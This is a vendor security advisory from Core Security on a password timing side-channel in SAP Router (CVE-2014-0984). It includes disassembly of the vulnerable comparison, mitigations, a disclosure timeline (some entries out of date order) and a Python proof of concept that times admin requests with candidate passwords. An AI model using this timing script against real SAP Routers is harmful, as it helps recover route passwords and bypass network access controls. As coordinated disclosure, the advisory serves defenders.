SAP Router Password Timing Attack

Advisory ID Internal
CORE-2014-0003

1. Advisory Information

Title: SAP Router Password Timing Attack
Advisory ID: CORE-2014-0003
Advisory URL: https://www.coresecurity.com/core-labs/advisories/sap-router-password-timing-attack
Date published: 2014-04-15
Date of last update: 2014-03-06
Vendors contacted: SAP
Release mode: Coordinated release

2. Vulnerability Information

Class: Information Exposure Through Timing Discrepancy [CWE-208]
Impact: Security bypass
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2014-0984

3. Vulnerability Description

SAP Router [1] is an application-level gateway used to connect systems in a SAP infrastructure. A vulnerability have been found in SAP Router that could allow an unauthenticated remote attacker to obtain passwords used to protect route entries by a timing side-channel attack.

4. Vulnerable Packages

  • SAP Router release 721 patch level 117.
  • SAP Router release 720 patch level 411.
  • SAP Router release 710 patch level 029.
  • Other versions are probably affected too, but they were not checked.

5. Vendor Information, Solutions and Workarounds

SAP released the security note 1986895 regarding these issues. Contact SAP for further information.

Martin Gallo proposed the following actions to mitigate the impact of the vulnerabilities:

  1. Disable the use of passwords on the Route Permission Table [2].
  2. Enforce the use of SNC (Secure Network Communications) as an authentication mechanism for securing routes.

6. Credits

This vulnerability was discovered and researched by Martin Gallo from Core Security Consulting Services. The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team.

7. Technical Description / Proof of Concept Code

SAP Router permits and/or forbids networks connections based on a Route Permission Table [2]. Entries in the Route Permission Table can have a password. If a password is specified for a given entry in the Route Permission Table, SAP Router checks whether the user-supplied password matches with the one in the Route Permission Table entry before permitting a connection.

The vulnerable function passwordCheck performs a non-constant time string comparison for checking the user-supplied password against the on in the Route Permission Table. On the first non-matched character, the string comparison function immediately interrupts the evaluation cycle, which may let an attacker perform timing attacks. The following snippet shows an excerpt of the vulnerable code within the passwordCheck function:

.text:0000000140005BE0 loc_140005BE0: ; CODE XREF: passwordCheck+191j .text:0000000140005BE0 movzx ecx, byte ptr [rdi] ; rdi points to the routtab password .text:0000000140005BE3 movzx eax, byte ptr [rdi+rsi] ; rdi+rsi points to the user-supplied password .text:0000000140005BE7 sub ecx, eax .text:0000000140005BE9 jnz short loc_140005BF3 ; password check failed .text:0000000140005BEB add rdi, 1 .text:0000000140005BEF test eax, eax .text:0000000140005BF1 jnz short loc_140005BE0 .text:0000000140005BF3 .text:0000000140005BF3 loc_140005BF3: ; CODE XREF: passwordCheck+189j .text:0000000140005BF3 test ecx, ecx .text:0000000140005BF5 jz short loc_140005C3F .text:0000000140005BF7 cmp cs:trace_level, 1 .text:0000000140005BFE jl short loc_140005C38 .text:0000000140005C00 call DpLock .text:0000000140005C05 mov rcx, cs:qword_140273BC0 .text:0000000140005C0C lea r8, aPasswordcheck ; "passwordCheck" .text:0000000140005C13 lea rdx, aSPasswordCheck ; "%s: password check failed\n" .text:0000000140005C1A mov cs:dword_1401ADAA4, 1 .text:0000000140005C24 call DpTrace .text:0000000140005C29 .text:0000000140005C29 loc_140005C29: ; CODE XREF: passwordCheck+16Fj .text:0000000140005C29 mov cs:dword_1401ADAA4, 2 .text:0000000140005C33 call DpUnlock .text:0000000140005C38 .text:0000000140005C38 loc_140005C38: ; CODE XREF: passwordCheck+135j .text:0000000140005C38 ; passwordCheck+19Ej .text:0000000140005C38 mov eax, 0FFFFFFA2h .text:0000000140005C3D jmp short loc_140005C41 .text:0000000140005C3F ; --------------------------------------------------------------------------- .text:0000000140005C3F .text:0000000140005C3F loc_140005C3F: ; CODE XREF: passwordCheck+12Cj .text:0000000140005C3F ; passwordCheck+174j ... .text:0000000140005C3F xor eax, eax ; password check succeeded 

7.1. Proof of Concept

#!/usr/bin/python ## =========== ## pysap - Python library for crafting SAP's network protocols packets ## ## Copyright (C) 2014 Core Security Technologies ## ## The library was designed and developed by Martin Gallo from the Security ## Consulting Services team of Core Security Technologies. ## ## This program is free software; you can redistribute it and/or ## modify it under the terms of the GNU General Public License ## as published by the Free Software Foundation; either version 2 ## of the License, or (at your option) any later version. ## ## This program is distributed in the hope that it will be useful, ## but WITHOUT ANY WARRANTY; without even the implied warranty of ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ## GNU General Public License for more details. ##============== # Standard imports import logging from optparse import OptionParser, OptionGroup # External imports import fau_timer from scapy.config import conf from scapy.supersocket import socket # Custom imports from pysap.SAPNI import SAPNI, SAPNIStreamSocket from pysap.SAPRouter import SAPRouter, router_is_control # Set the verbosity to 0 conf.verb = 0 # Command line options parser def parse_options(): description = \ """This example script connects with a SAP Router service and makes an information request using a provided password. It then records the time the remote service takes to respond to the request. Further analysis of the time records could be performed in order to identify whether the server is vulnerable to a timing attack on the password check. """ epilog = \ """pysap - http://corelabs.coresecurity.com/index.php?module=Wiki&action=view&type=tool&name=pysap""" usage = "Usage: %prog [options] -d <remote host>" parser = OptionParser(usage=usage, description=description, epilog=epilog) target = OptionGroup(parser, "Target") target.add_option("-d", "--remote-host", dest="remote_host", help="Remote host [%default]", default="127.0.0.1") target.add_option("-p", "--remote-port", dest="remote_port", type="int", help="Remote port [%default]", default=3299) target.add_option("--router-version", dest="router_version", type="int", help="SAP Router version to use [retrieve from the remote SAP Router]") parser.add_option_group(target) misc = OptionGroup(parser, "Misc options") misc.add_option("-t", "--tries", dest="tries", default=10, type="int", help="Amount of tries to make for each length [%default]") misc.add_option("--password", dest="password", default="password", help="Correct password to test") misc.add_option("-o", "--output", dest="output", default="output.csv", help="Output file [%default]") misc.add_option("-v", "--verbose", dest="verbose", action="store_true", default=False, help="Verbose output [%default]") parser.add_option_group(misc) (options, _) = parser.parse_args() if not options.remote_host: parser.error("Remote host is required") return options # Retrieve the version of the remote SAP Router def get_router_version(connection): r = connection.sr(SAPRouter(type=SAPRouter.SAPROUTER_CONTROL, version=40, opcode=1)) if router_is_control(r) and r.opcode == 2: return r.version else: return None def try_password(options, password, output=None, k=0): p = SAPRouter(type=SAPRouter.SAPROUTER_ADMIN, version=options.router_version) p.adm_command = 2 p.adm_password = password p = str(SAPNI() / p) fau_timer.init() fau_timer.send_request(options.remote_host, options.remote_port, p, len(p)) fau_timer.calculate_time() cpuSpeed = fau_timer.get_speed() cpuTicks = fau_timer.get_cpu_ticks() time = fau_timer.get_time() if options.verbose: print "Request time: CPU Speed: %s Hz CPU Ticks: %s Time: %s nanosec" % (cpuSpeed, cpuTicks, time) # Write the time to the output file if output: output.write("%i,%s,%s\n" % (k, password, time)) return time # Main function def main(): options = parse_options() if options.verbose: logging.basicConfig(level=logging.DEBUG) # Initiate the connection sock = socket.socket() sock.connect((options.remote_host, options.remote_port)) conn = SAPNIStreamSocket(sock) print "[*] Connected to the SAP Router %s:%d" % (options.remote_host, options.remote_port) # Retrieve the router version used by the server if not specified if options.router_version is None: options.router_version = get_router_version(conn) print "[*] Using SAP Router version %d" % options.router_version print "[*] Checking if the server is vulnerable to a timing attack ..." with open(options.output, "w") as f: c = 0 for i in range(0, len(options.password) + 1): password = options.password[:i] + "X" * (len(options.password) - i) print "[*] Trying with password (%s) len %d" % (password, len(password)) for _ in range(0, options.tries): try_password(options, password, f, c) c += 1 if __name__ == "__main__": main()

8. Report Timeline

  • 2014-02-20: Initial notification sent to SAP, including technical description to reproduce the vulnerability. Publication date set to March 11, 2014.
  • 2014-02-20: Vendor notifies that the tracking number 1068415-2014 was created for this issue.
  • 2014-02-28: Vendor notifies that they will not be able to provide a fix for the reported issue for the tentative release date, March 11th, and ask for delaying the advisory publication.
  • 2014-03-03: Vendor notifies that they currently do not see it as a vulnerability and asks for additional technical details.
  • 2014-03-05: Core sends additional information regarding how to exploit this vulnerability solving the network letency and other practical issues. Additional publications on this topic were also included [3], [4], [5].
  • 2014-03-07: Vendor notifies that they will make changes for mitigating timing attacks. Vendor also notifies that they usually release security fixes on Patch Days (every second Tuesday per month), and April 8th or May 13th seems much more realistic dates for releasing fixes.
  • 2014-03-26: Vendor requests pushing the advisory release until May 13th.
  • 2014-04-03: Core re-schedules the advisory publication for May 13th.
  • 2014-03-11: First release date missed.
  • 2014-03-07: Core re-schedules the advisory publication for April 8th.
  • 2014-03-13: Core sends a Proof of Concept and aditional technical information.
  • 2014-04-07: SAP notifies that they have released the security note 1986895 [6] on April Patch Day 2014.
  • 2014-04-09: Core notifies that the advisory is going to be re-schedule for the 15 of April.
  • 2014-04-15: Advisory CORE-2014-0003 published.

9. References

[1] http://help.sap.com/saphelp_nw74/helpdata/en/48/7612ed5ca5055ee10000000a42189b/content.htm?frameset=/en/ea/214d2aafaa43feaee78375cb16552f/frameset.htm.
[2] http://help.sap.com/saphelp_nw74/helpdata/en/48/6c7a3fc1504e6ce10000000a421937/content.htm?frameset=/en/ea/214d2aafaa43feaee78375cb16552f/frameset.htm
[3] http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.65.9811
[4] http://www.youtube.com/watch?v=idjDiBtu93Y&feature=related
[5] http://events.ccc.de/congress/2011/Fahrplan/attachments/2021_Slides
[6] SAP security note 1986895
https://service.sap.com/sap/support/notes/1986895.

10. About CoreLabs

CoreLabs, the research center of Core Security, A HelpSystems Company is charged with researching and understanding security trends as well as anticipating the future requirements of information security technologies. CoreLabs studies cybersecurity trends, focusing on problem formalization, identification of vulnerabilities, novel solutions, and prototypes for new technologies. The team is comprised of seasoned researchers who regularly discover and discloses vulnerabilities, informing product owners in order to ensure a fix can be released efficiently, and that customers are informed as soon as possible. CoreLabs regularly publishes security advisories, technical papers, project information, and shared software tools for public use at https://www.coresecurity.com/core-labs.  

11. About Core Security, A HelpSystems Company

Core Security, a HelpSystems Company, provides organizations with critical, actionable insight about who, how, and what is vulnerable in their IT environment. With our layered security approach and robust threat-aware, identity & access, network security, and vulnerability management solutions, security teams can efficiently manage security risks across the enterprise. Learn more at www.coresecurity.com.

Core Security is headquartered in the USA with offices and operations in South America, Europe, Middle East and Asia. To learn more, contact Core Security at (678) 304-4500 or info@helpsystems.com.

12. Disclaimer

The contents of this advisory are copyright (c) 2014 Core Security Technologies and (c) 2014 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/

13. PGP/GPG Keys

This advisory has been signed with the GPG key of Core Security advisories team.